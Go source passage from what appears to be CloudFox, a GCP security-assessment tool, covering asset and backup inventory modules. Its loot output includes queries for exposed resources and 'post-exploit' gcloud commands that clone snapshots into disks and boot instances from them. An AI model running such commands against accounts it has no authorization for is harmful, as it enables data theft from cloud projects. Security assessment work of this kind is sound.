for field, depType := range dependencyFields {
if value, ok := assetItem.Resource.Data.Fields[field]; ok {
targetResource := value.GetStringValue()
if targetResource != "" {
dependency := ResourceDependency{
SourceResource: assetItem.Name,
SourceType: assetItem.AssetType,
TargetResource: targetResource,
TargetType: m.inferResourceType(field),
DependencyType: depType,
ProjectID: projectID,
}
m.mu.Lock()
m.ProjectDependencies[projectID] = append(m.ProjectDependencies[projectID], dependency)
m.mu.Unlock()
}
}
}
}
func (m *AssetInventoryModule) inferResourceType(fieldName string) string {
typeMap := map[string]string{
"network": "compute.googleapis.com/Network",
"subnetwork": "compute.googleapis.com/Subnetwork",
"serviceAccount": "iam.googleapis.com/ServiceAccount",
"disk": "compute.googleapis.com/Disk",
"snapshot": "compute.googleapis.com/Snapshot",
"image": "compute.googleapis.com/Image",
"keyRing": "cloudkms.googleapis.com/KeyRing",
"cryptoKey": "cloudkms.googleapis.com/CryptoKey",
"topic": "pubsub.googleapis.com/Topic",
"subscription": "pubsub.googleapis.com/Subscription",
"bucket": "storage.googleapis.com/Bucket",
"dataset": "bigquery.googleapis.com/Dataset",
"cluster": "container.googleapis.com/Cluster",
}
if assetType, ok := typeMap[fieldName]; ok {
return assetType
}
return "unknown"
}
func (m *AssetInventoryModule) analyzeCrossProjectResources() {
m.mu.Lock()
defer m.mu.Unlock()
targetToSources := make(map[string][]string)
targetToType := make(map[string]string)
allDeps := m.getAllDependencies()
for _, dep := range allDeps {
targetProject := m.extractProjectFromResource(dep.TargetResource)
if targetProject != "" && targetProject != dep.ProjectID {
targetToSources[dep.TargetResource] = append(targetToSources[dep.TargetResource], dep.ProjectID)
targetToType[dep.TargetResource] = dep.TargetType
}
}
for target, sources := range targetToSources {
crossProject := CrossProjectResource{
ResourceName: target,
ResourceType: targetToType[target],
OwnerProject: m.extractProjectFromResource(target),
AccessedFrom: sources,
}
m.CrossProject = append(m.CrossProject, crossProject)
}
}
func (m *AssetInventoryModule) extractProjectFromResource(resource string) string {
if strings.Contains(resource, "projects/") {
parts := strings.Split(resource, "/")
for i, part := range parts {
if part == "projects" && i+1 < len(parts) {
return parts[i+1]
}
}
}
return ""
}
func (m *AssetInventoryModule) extractResourceName(resource string) string {
parts := strings.Split(resource, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return resource
}
func (m *AssetInventoryModule) generateQueryTemplates() {
templates := []struct {
Name string
Description string
Query string
}{
{"Public Storage Buckets", "Find all public GCS buckets", `resource.type="storage.googleapis.com/Bucket" AND resource.data.iamConfiguration.uniformBucketLevelAccess.enabled=false`},
{"VMs with External IPs", "Find compute instances with external IP addresses", `resource.type="compute.googleapis.com/Instance" AND resource.data.networkInterfaces.accessConfigs:*`},
{"Service Account Keys", "Find all user-managed service account keys", `resource.type="iam.googleapis.com/ServiceAccountKey" AND resource.data.keyType="USER_MANAGED"`},
{"Firewall Rules - Open to Internet", "Find firewall rules allowing 0.0.0.0/0", `resource.type="compute.googleapis.com/Firewall" AND resource.data.sourceRanges:"0.0.0.0/0"`},
{"Cloud SQL - Public IPs", "Find Cloud SQL instances with public IP", `resource.type="sqladmin.googleapis.com/Instance" AND resource.data.settings.ipConfiguration.ipv4Enabled=true`},
{"Unencrypted Disks", "Find disks without customer-managed encryption", `resource.type="compute.googleapis.com/Disk" AND NOT resource.data.diskEncryptionKey:*`},
{"GKE Clusters - Legacy Auth", "Find GKE clusters with legacy authentication", `resource.type="container.googleapis.com/Cluster" AND resource.data.legacyAbac.enabled=true`},
}
// Add templates and export commands to each project's loot
for _, projectID := range m.ProjectIDs {
m.mu.Lock()
m.initializeLootForProject(projectID)
if lootFile := m.LootMap[projectID]["asset-inventory-commands"]; lootFile != nil {
for _, t := range templates {
lootFile.Contents += fmt.Sprintf(
"# %s - %s\ngcloud asset search-all-resources --scope=projects/%s --query='%s'\n\n",
t.Name, t.Description, projectID, t.Query,
)
}
lootFile.Contents += "# Export complete asset inventory\n"
lootFile.Contents += fmt.Sprintf(
"gcloud asset export --project=%s --content-type=resource --output-path=gs://BUCKET_NAME/%s-assets.json\n",
projectID, projectID,
)
}
m.mu.Unlock()
}
}
func (m *AssetInventoryModule) addToLoot(projectID string, asset assetservice.AssetInfo) {
if lootFile := m.LootMap[projectID]["asset-inventory-details"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# ASSET: %s\n"+
"# =============================================================================\n"+
"# Type: %s\n# Project: %s\n# Location: %s\n",
asset.Name, asset.AssetType, asset.ProjectID, asset.Location)
if asset.PublicAccess {
lootFile.Contents += "# Public Access: Yes\n"
}
lootFile.Contents += "\n"
}
}
func (m *AssetInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *AssetInventoryModule) buildCountsTable(counts []assetservice.AssetTypeCount) *internal.TableFile {
if len(counts) == 0 {
return nil
}
// Sort by count descending
sort.Slice(counts, func(i, j int) bool {
return counts[i].Count > counts[j].Count
})
header := []string{"Asset Type", "Count"}
var body [][]string
for _, tc := range counts {
body = append(body, []string{
tc.AssetType,
fmt.Sprintf("%d", tc.Count),
})
}
return &internal.TableFile{
Name: "asset-counts",
Header: header,
Body: body,
}
}
func (m *AssetInventoryModule) buildAssetsTable(assets []assetservice.AssetInfo) []internal.TableFile {
var tables []internal.TableFile
if len(assets) == 0 {
return tables
}
if checkIAM {
header := []string{"Project", "Name", "Asset Type", "Location", "IAM Binding Role", "IAM Binding Principal", "Public"}
var body [][]string
for _, asset := range assets {
publicAccess := "No"
if asset.PublicAccess {
publicAccess = "Yes"
}
if len(asset.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
assetservice.ExtractAssetTypeShort(asset.AssetType),
asset.Location,
"-",
"-",
publicAccess,
})
} else {
for _, binding := range asset.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
assetservice.ExtractAssetTypeShort(asset.AssetType),
asset.Location,
binding.Role,
member,
publicAccess,
})
}
}
}
}
tables = append(tables, internal.TableFile{
Name: "assets",
Header: header,
Body: body,
})
// Public assets table
var publicBody [][]string
for _, asset := range assets {
if asset.PublicAccess {
for _, binding := range asset.IAMBindings {
for _, member := range binding.Members {
if shared.IsPublicPrincipal(member) {
publicBody = append(publicBody, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
asset.AssetType,
binding.Role,
member,
})
}
}
}
}
}
if len(publicBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "public-assets",
Header: []string{"Project", "Name", "Asset Type", "IAM Binding Role", "IAM Binding Principal"},
Body: publicBody,
})
}
} else {
header := []string{"Project", "Name", "Asset Type", "Location"}
var body [][]string
for _, asset := range assets {
body = append(body, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
assetservice.ExtractAssetTypeShort(asset.AssetType),
asset.Location,
})
}
tables = append(tables, internal.TableFile{
Name: "assets",
Header: header,
Body: body,
})
}
return tables
}
func (m *AssetInventoryModule) buildDependenciesTable(deps []ResourceDependency) *internal.TableFile {
if len(deps) == 0 {
return nil
}
depsHeader := []string{"Project", "Source", "Dependency Type", "Target", "Target Type"}
var depsBody [][]string
for _, d := range deps {
depsBody = append(depsBody, []string{
m.GetProjectName(d.ProjectID),
m.extractResourceName(d.SourceResource),
d.DependencyType,
m.extractResourceName(d.TargetResource),
assetservice.ExtractAssetTypeShort(d.TargetType),
})
}
return &internal.TableFile{
Name: "asset-dependencies",
Header: depsHeader,
Body: depsBody,
}
}
func (m *AssetInventoryModule) buildCrossProjectTable() *internal.TableFile {
if len(m.CrossProject) == 0 {
return nil
}
crossHeader := []string{"Resource", "Type", "Owner Project", "Accessed From"}
var crossBody [][]string
for _, c := range m.CrossProject {
crossBody = append(crossBody, []string{
m.extractResourceName(c.ResourceName),
assetservice.ExtractAssetTypeShort(c.ResourceType),
c.OwnerProject,
strings.Join(c.AccessedFrom, ", "),
})
}
return &internal.TableFile{
Name: "cross-project-resources",
Header: crossHeader,
Body: crossBody,
}
}
func (m *AssetInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if counts, ok := m.ProjectTypeCounts[projectID]; ok {
if table := m.buildCountsTable(counts); table != nil {
tableFiles = append(tableFiles, *table)
}
}
if assets, ok := m.ProjectAssets[projectID]; ok {
tableFiles = append(tableFiles, m.buildAssetsTable(assets)...)
}
if deps, ok := m.ProjectDependencies[projectID]; ok {
if table := m.buildDependenciesTable(deps); table != nil {
tableFiles = append(tableFiles, *table)
}
}
return tableFiles
}
func (m *AssetInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectAssets {
projectIDs[projectID] = true
}
for projectID := range m.ProjectTypeCounts {
projectIDs[projectID] = true
}
for projectID := range m.ProjectDependencies {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = AssetInventoryOutput{Table: tableFiles, Loot: lootFiles}
}
// Add cross-project table at org level if we have hierarchy and cross-project data
if crossTable := m.buildCrossProjectTable(); crossTable != nil && m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
orgID := m.Hierarchy.Organizations[0].ID
outputData.OrgLevelData[orgID] = AssetInventoryOutput{
Table: []internal.TableFile{*crossTable},
Loot: nil,
}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
}
func (m *AssetInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
var tables []internal.TableFile
allCounts := m.getAllTypeCounts()
if table := m.buildCountsTable(allCounts); table != nil {
tables = append(tables, *table)
}
allAssets := m.getAllAssets()
tables = append(tables, m.buildAssetsTable(allAssets)...)
allDeps := m.getAllDependencies()
if table := m.buildDependenciesTable(allDeps); table != nil {
tables = append(tables, *table)
}
if table := m.buildCrossProjectTable(); table != nil {
tables = append(tables, *table)
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := AssetInventoryOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
}
+885
View File
@@ -0,0 +1,885 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/BishopFox/cloudfox/gcp/shared"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
"google.golang.org/api/compute/v1"
sqladmin "google.golang.org/api/sqladmin/v1beta4"
)
// Module name constant
const GCP_BACKUPINVENTORY_MODULE_NAME string = "backup-inventory"
var GCPBackupInventoryCommand = &cobra.Command{
Use: GCP_BACKUPINVENTORY_MODULE_NAME,
Aliases: []string{"backups", "backup", "snapshots", "dr"},
Short: "Enumerate backup policies, protected resources, and identify backup gaps",
Long: `Inventory backup and disaster recovery configurations across GCP resources.
Features:
- Compute Engine disk snapshots and snapshot schedules
- Cloud SQL automated backups and point-in-time recovery
- Identifies unprotected resources (no backup coverage)
- Analyzes backup retention policies
- Checks for stale or failing backups`,
Run: runGCPBackupInventoryCommand,
}
// ------------------------------
// Data Structures
// ------------------------------
type BackupResource struct {
ProjectID string
Name string
ResourceType string // compute-disk, cloudsql-instance
Location string
SizeGB int64
Protected bool
BackupType string // snapshot, automated, none
Schedule string
RetentionDays int
LastBackup string
BackupCount int
BackupStatus string
PITREnabled bool
BackupLocation string
}
type IAMBinding struct {
Role string
Members []string
}
type ComputeSnapshot struct {
ProjectID string
Name string
SourceDisk string
Status string
DiskSizeGB int64
StorageBytes int64
CreationTime string
StorageLocats []string
AutoCreated bool
SnapshotType string
IAMBindings []IAMBinding
PublicAccess bool
EncryptionType string
KMSKeyName string
}
// ------------------------------
// Module Struct
// ------------------------------
type BackupInventoryModule struct {
gcpinternal.BaseGCPModule
ProjectResources map[string][]BackupResource // projectID -> resources
ProjectSnapshots map[string][]ComputeSnapshot // projectID -> snapshots
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
// Tracking maps
disksWithBackups map[string]bool
sqlWithBackups map[string]bool
allDisks map[string]diskInfo
allSQLInstances map[string]sqlInstanceInfo
}
type diskInfo struct {
SizeGB int64
Zone string
ProjectID string
Name string
}
type sqlInstanceInfo struct {
ProjectID string
Region string
}
// ------------------------------
// Output Struct
// ------------------------------
type BackupInventoryOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BackupInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BackupInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPBackupInventoryCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_BACKUPINVENTORY_MODULE_NAME)
if err != nil {
return
}
module := &BackupInventoryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectResources: make(map[string][]BackupResource),
ProjectSnapshots: make(map[string][]ComputeSnapshot),
LootMap: make(map[string]map[string]*internal.LootFile),
disksWithBackups: make(map[string]bool),
sqlWithBackups: make(map[string]bool),
allDisks: make(map[string]diskInfo),
allSQLInstances: make(map[string]sqlInstanceInfo),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *BackupInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Inventorying backup configurations...", GCP_BACKUPINVENTORY_MODULE_NAME)
computeService, err := compute.NewService(ctx)
if err != nil {
logger.ErrorM(fmt.Sprintf("Failed to create Compute service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
return
}
sqlService, err := sqladmin.NewService(ctx)
if err != nil {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.ErrorM(fmt.Sprintf("Failed to create SQL Admin service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
}
}
var wg sync.WaitGroup
for _, projectID := range m.ProjectIDs {
wg.Add(1)
go func(project string) {
defer wg.Done()
m.processProject(ctx, project, computeService, sqlService, logger)
}(projectID)
}
wg.Wait()
// Identify unprotected resources
m.identifyUnprotectedResources()
allResources := m.getAllResources()
allSnapshots := m.getAllSnapshots()
if len(allResources) == 0 && len(allSnapshots) == 0 {
logger.InfoM("No backup data found", GCP_BACKUPINVENTORY_MODULE_NAME)
return
}
// Count protected vs unprotected
protectedCount := 0
unprotectedCount := 0
for _, r := range allResources {
if r.Protected {
protectedCount++
} else {
unprotectedCount++
}
}
// Count public snapshots
publicSnapshotCount := 0
for _, s := range allSnapshots {
if s.PublicAccess {
publicSnapshotCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d resource(s): %d protected, %d unprotected, %d snapshot(s)",
len(allResources), protectedCount, unprotectedCount, len(allSnapshots)), GCP_BACKUPINVENTORY_MODULE_NAME)
if unprotectedCount > 0 {
logger.InfoM(fmt.Sprintf("Found %d resource(s) without backup coverage", unprotectedCount), GCP_BACKUPINVENTORY_MODULE_NAME)
}
if publicSnapshotCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible snapshot(s)!", publicSnapshotCount), GCP_BACKUPINVENTORY_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
func (m *BackupInventoryModule) getAllResources() []BackupResource {
var all []BackupResource
for _, resources := range m.ProjectResources {
all = append(all, resources...)
}
return all
}
func (m *BackupInventoryModule) getAllSnapshots() []ComputeSnapshot {
var all []ComputeSnapshot
for _, snapshots := range m.ProjectSnapshots {
all = append(all, snapshots...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *BackupInventoryModule) processProject(ctx context.Context, projectID string, computeService *compute.Service, sqlService *sqladmin.Service, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating backups for project: %s", projectID), GCP_BACKUPINVENTORY_MODULE_NAME)
}
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["backup-inventory-commands"] = &internal.LootFile{
Name: "backup-inventory-commands",
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
// List all disks first (for gap analysis)
m.enumerateDisks(ctx, projectID, computeService, logger)
// List snapshots
m.enumerateSnapshots(ctx, projectID, computeService, logger)
// List SQL instances and backups
if sqlService != nil {
m.enumerateSQLBackups(ctx, projectID, sqlService, logger)
}
}
func (m *BackupInventoryModule) enumerateDisks(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
req := computeService.Disks.AggregatedList(projectID)
err := req.Pages(ctx, func(page *compute.DiskAggregatedList) error {
for zone, diskList := range page.Items {
if diskList.Disks == nil {
continue
}
for _, disk := range diskList.Disks {
m.mu.Lock()
m.allDisks[disk.SelfLink] = diskInfo{
SizeGB: disk.SizeGb,
Zone: m.extractZoneFromURL(zone),
ProjectID: projectID,
Name: disk.Name,
}
m.mu.Unlock()
}
}
return nil
})
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate disks in project %s", projectID))
}
}
func (m *BackupInventoryModule) enumerateSnapshots(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
req := computeService.Snapshots.List(projectID)
err := req.Pages(ctx, func(page *compute.SnapshotList) error {
for _, snapshot := range page.Items {
// Determine encryption type and KMS key name
encryptionType := "Google-managed"
kmsKeyName := ""
if snapshot.SnapshotEncryptionKey != nil {
if snapshot.SnapshotEncryptionKey.KmsKeyName != "" {
encryptionType = "CMEK"
kmsKeyName = snapshot.SnapshotEncryptionKey.KmsKeyName
} else if snapshot.SnapshotEncryptionKey.RawKey != "" || snapshot.SnapshotEncryptionKey.Sha256 != "" {
encryptionType = "CSEK"
}
}
snap := ComputeSnapshot{
ProjectID: projectID,
Name: snapshot.Name,
SourceDisk: snapshot.SourceDisk,
Status: snapshot.Status,
DiskSizeGB: snapshot.DiskSizeGb,
StorageBytes: snapshot.StorageBytes,
CreationTime: snapshot.CreationTimestamp,
StorageLocats: snapshot.StorageLocations,
AutoCreated: snapshot.AutoCreated,
SnapshotType: snapshot.SnapshotType,
EncryptionType: encryptionType,
KMSKeyName: kmsKeyName,
}
// Get IAM policy for this snapshot
iamPolicy, iamErr := computeService.Snapshots.GetIamPolicy(projectID, snapshot.Name).Context(ctx).Do()
if iamErr == nil && iamPolicy != nil {
for _, binding := range iamPolicy.Bindings {
snap.IAMBindings = append(snap.IAMBindings, IAMBinding{
Role: binding.Role,
Members: binding.Members,
})
// Check for public access
for _, member := range binding.Members {
if shared.IsPublicPrincipal(member) {
snap.PublicAccess = true
}
}
}
}
m.mu.Lock()
m.ProjectSnapshots[projectID] = append(m.ProjectSnapshots[projectID], snap)
m.disksWithBackups[snapshot.SourceDisk] = true
// Add post-exploit commands for snapshots
if m.LootMap[projectID] != nil {
if lootFile := m.LootMap[projectID]["backup-inventory-commands"]; lootFile != nil {
// Determine a zone from storage locations or use a default
zone := "us-central1-a"
if len(snapshot.StorageLocations) > 0 {
zone = snapshot.StorageLocations[0] + "-a"
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# SNAPSHOT: %s (Source: %s, Size: %dGB)\n"+
"# -----------------------------------------------------------------------------\n"+
"# Create a disk from this snapshot\n"+
"gcloud compute disks create disk-from-%s \\\n"+
" --project=%s \\\n"+
" --zone=%s \\\n"+
" --source-snapshot=%s\n\n"+
"# Create an instance using a disk from this snapshot\n"+
"gcloud compute instances create instance-from-%s \\\n"+
" --project=%s \\\n"+
" --zone=%s \\\n"+
" --disk=name=disk-from-%s,boot=yes\n\n",
snapshot.Name, m.extractDiskName(snapshot.SourceDisk), snapshot.DiskSizeGb,
snapshot.Name, projectID, zone, snapshot.Name,
snapshot.Name, projectID, zone, snapshot.Name,
)
}
}
m.mu.Unlock()
}
return nil
})
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate snapshots in project %s", projectID))
}
// Track protected resources from snapshots
m.trackSnapshotProtection(projectID)
}
func (m *BackupInventoryModule) trackSnapshotProtection(projectID string) {
m.mu.Lock()
projectSnapshots := m.ProjectSnapshots[projectID]
m.mu.Unlock()
// Group snapshots by source disk
diskSnapshots := make(map[string][]ComputeSnapshot)
for _, snap := range projectSnapshots {
diskSnapshots[snap.SourceDisk] = append(diskSnapshots[snap.SourceDisk], snap)
}
m.mu.Lock()
defer m.mu.Unlock()
for diskURL, snaps := range diskSnapshots {
// Find latest snapshot
var latestTime time.Time
var latestSnap ComputeSnapshot
for _, snap := range snaps {
t, err := time.Parse(time.RFC3339, snap.CreationTime)
if err == nil && t.After(latestTime) {
latestTime = t
latestSnap = snap
}
}
diskInfo := m.allDisks[diskURL]
backupStatus := latestSnap.Status
// Calculate age of last backup
if !latestTime.IsZero() {
age := time.Since(latestTime)
if age > 7*24*time.Hour {
backupStatus = "STALE"
} else {
backupStatus = "CURRENT"
}
}
resource := BackupResource{
ProjectID: projectID,
Name: m.extractDiskName(diskURL),
ResourceType: "compute-disk",
Location: diskInfo.Zone,
SizeGB: diskInfo.SizeGB,
Protected: true,
BackupType: "snapshot",
LastBackup: latestSnap.CreationTime,
BackupCount: len(snaps),
BackupStatus: backupStatus,
BackupLocation: strings.Join(latestSnap.StorageLocats, ","),
}
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
}
}
func (m *BackupInventoryModule) enumerateSQLBackups(ctx context.Context, projectID string, sqlService *sqladmin.Service, logger internal.Logger) {
instances, err := sqlService.Instances.List(projectID).Do()
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate SQL instances in project %s", projectID))
return
}
for _, instance := range instances.Items {
m.mu.Lock()
m.allSQLInstances[instance.Name] = sqlInstanceInfo{
ProjectID: projectID,
Region: instance.Region,
}
m.mu.Unlock()
// Check backup configuration
backupEnabled := false
pitrEnabled := false
var retentionDays int
var backupStartTime string
if instance.Settings != nil && instance.Settings.BackupConfiguration != nil {
backupEnabled = instance.Settings.BackupConfiguration.Enabled
pitrEnabled = instance.Settings.BackupConfiguration.PointInTimeRecoveryEnabled
retentionDays = int(instance.Settings.BackupConfiguration.TransactionLogRetentionDays)
backupStartTime = instance.Settings.BackupConfiguration.StartTime
}
if backupEnabled {
m.mu.Lock()
m.sqlWithBackups[instance.Name] = true
m.mu.Unlock()
// List actual backups for this instance
backups, err := sqlService.BackupRuns.List(projectID, instance.Name).Do()
if err != nil {
continue
}
var latestBackupTime string
var latestStatus string
var latestLocation string
backupCount := 0
for _, backup := range backups.Items {
backupCount++
if latestBackupTime == "" || backup.StartTime > latestBackupTime {
latestBackupTime = backup.StartTime
latestStatus = backup.Status
latestLocation = backup.Location
}
}
resource := BackupResource{
ProjectID: projectID,
Name: instance.Name,
ResourceType: "cloudsql-instance",
Location: instance.Region,
Protected: true,
BackupType: "automated",
Schedule: fmt.Sprintf("Daily at %s", backupStartTime),
RetentionDays: retentionDays,
LastBackup: latestBackupTime,
BackupCount: backupCount,
BackupStatus: latestStatus,
PITREnabled: pitrEnabled,
BackupLocation: latestLocation,
}
m.mu.Lock()
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
m.mu.Unlock()
}
}
}
// ------------------------------
// Gap Analysis
// ------------------------------
func (m *BackupInventoryModule) identifyUnprotectedResources() {
m.mu.Lock()
defer m.mu.Unlock()
// Find disks without snapshots
for diskURL, info := range m.allDisks {
if !m.disksWithBackups[diskURL] {
resource := BackupResource{
ProjectID: info.ProjectID,
Name: info.Name,
ResourceType: "compute-disk",
Location: info.Zone,
SizeGB: info.SizeGB,
Protected: false,
BackupType: "none",
}
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
// Add to loot (ensure project loot is initialized)
if m.LootMap[info.ProjectID] == nil {
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
Name: "backup-inventory-commands",
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
// No loot commands for unprotected disks - these are informational only
}
}
// Find SQL instances without backups
for instanceName, info := range m.allSQLInstances {
if !m.sqlWithBackups[instanceName] {
resource := BackupResource{
ProjectID: info.ProjectID,
Name: instanceName,
ResourceType: "cloudsql-instance",
Location: info.Region,
Protected: false,
BackupType: "none",
}
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
// Add to loot (ensure project loot is initialized)
if m.LootMap[info.ProjectID] == nil {
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
Name: "backup-inventory-commands",
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
// No loot commands for unprotected SQL instances - these are informational only
}
}
}
// ------------------------------
// Helper Functions
// ------------------------------
func (m *BackupInventoryModule) extractDiskName(url string) string {
parts := strings.Split(url, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return url
}
func (m *BackupInventoryModule) extractZoneFromURL(url string) string {
if strings.Contains(url, "zones/") {
parts := strings.Split(url, "/")
for i, part := range parts {
if part == "zones" && i+1 < len(parts) {
return parts[i+1]
}
}
}
return ""
}
func (m *BackupInventoryModule) extractRegionFromZone(zone string) string {
if zone == "" {
return ""
}
// Zone format: us-central1-a -> Region: us-central1
parts := strings.Split(zone, "-")
if len(parts) >= 2 {
return strings.Join(parts[:len(parts)-1], "-")
}
return zone
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *BackupInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *BackupInventoryModule) getResourcesHeader() []string {
return []string{
"Project ID",
"Project Name",
"Resource",
"Type",
"Location",
"Size (GB)",
"Protected",
"Backup Type",
"Schedule",
"Retention",
"Last Backup",
"Count",
"Status",
"PITR",
}
}
func (m *BackupInventoryModule) getSnapshotsHeader() []string {
return []string{
"Project",
"Snapshot",
"Source Disk",
"Size (GB)",
"Created",
"Status",
"Type",
"Auto Created",
"Locations",
"Encryption",
"IAM Binding Role",
"IAM Binding Principal",
"Public",
}
}
func (m *BackupInventoryModule) resourcesToTableBody(resources []BackupResource) [][]string {
var body [][]string
for _, r := range resources {
protectedStr := "No"
if r.Protected {
protectedStr = "Yes"
}
pitrStr := "No"
if r.PITREnabled {
pitrStr = "Yes"
}
retentionStr := ""
if r.RetentionDays > 0 {
retentionStr = fmt.Sprintf("%d days", r.RetentionDays)
}
sizeStr := ""
if r.SizeGB > 0 {
sizeStr = fmt.Sprintf("%d", r.SizeGB)
}
countStr := ""
if r.BackupCount > 0 {
countStr = fmt.Sprintf("%d", r.BackupCount)
}
body = append(body, []string{
r.ProjectID,
m.GetProjectName(r.ProjectID),
r.Name,
r.ResourceType,
r.Location,
sizeStr,
protectedStr,
r.BackupType,
r.Schedule,
retentionStr,
r.LastBackup,
countStr,
r.BackupStatus,
pitrStr,
})
}
return body
}
func (m *BackupInventoryModule) snapshotsToTableBody(snapshots []ComputeSnapshot) [][]string {
var body [][]string
for _, s := range snapshots {
autoCreatedStr := "No"
if s.AutoCreated {
autoCreatedStr = "Yes"
}
publicAccess := "No"
if s.PublicAccess {
publicAccess = "Yes"
}
// Format encryption - show KMS key name if CMEK
encryptionDisplay := s.EncryptionType
if s.EncryptionType == "CMEK" && s.KMSKeyName != "" {
// Extract just the key name from the full path for display
// Format: projects/PROJECT/locations/LOCATION/keyRings/RING/cryptoKeys/KEY
keyParts := strings.Split(s.KMSKeyName, "/")
if len(keyParts) >= 2 {
encryptionDisplay = fmt.Sprintf("CMEK (%s)", keyParts[len(keyParts)-1])
}
}
// If no IAM bindings, still show the snapshot
if len(s.IAMBindings) == 0 {
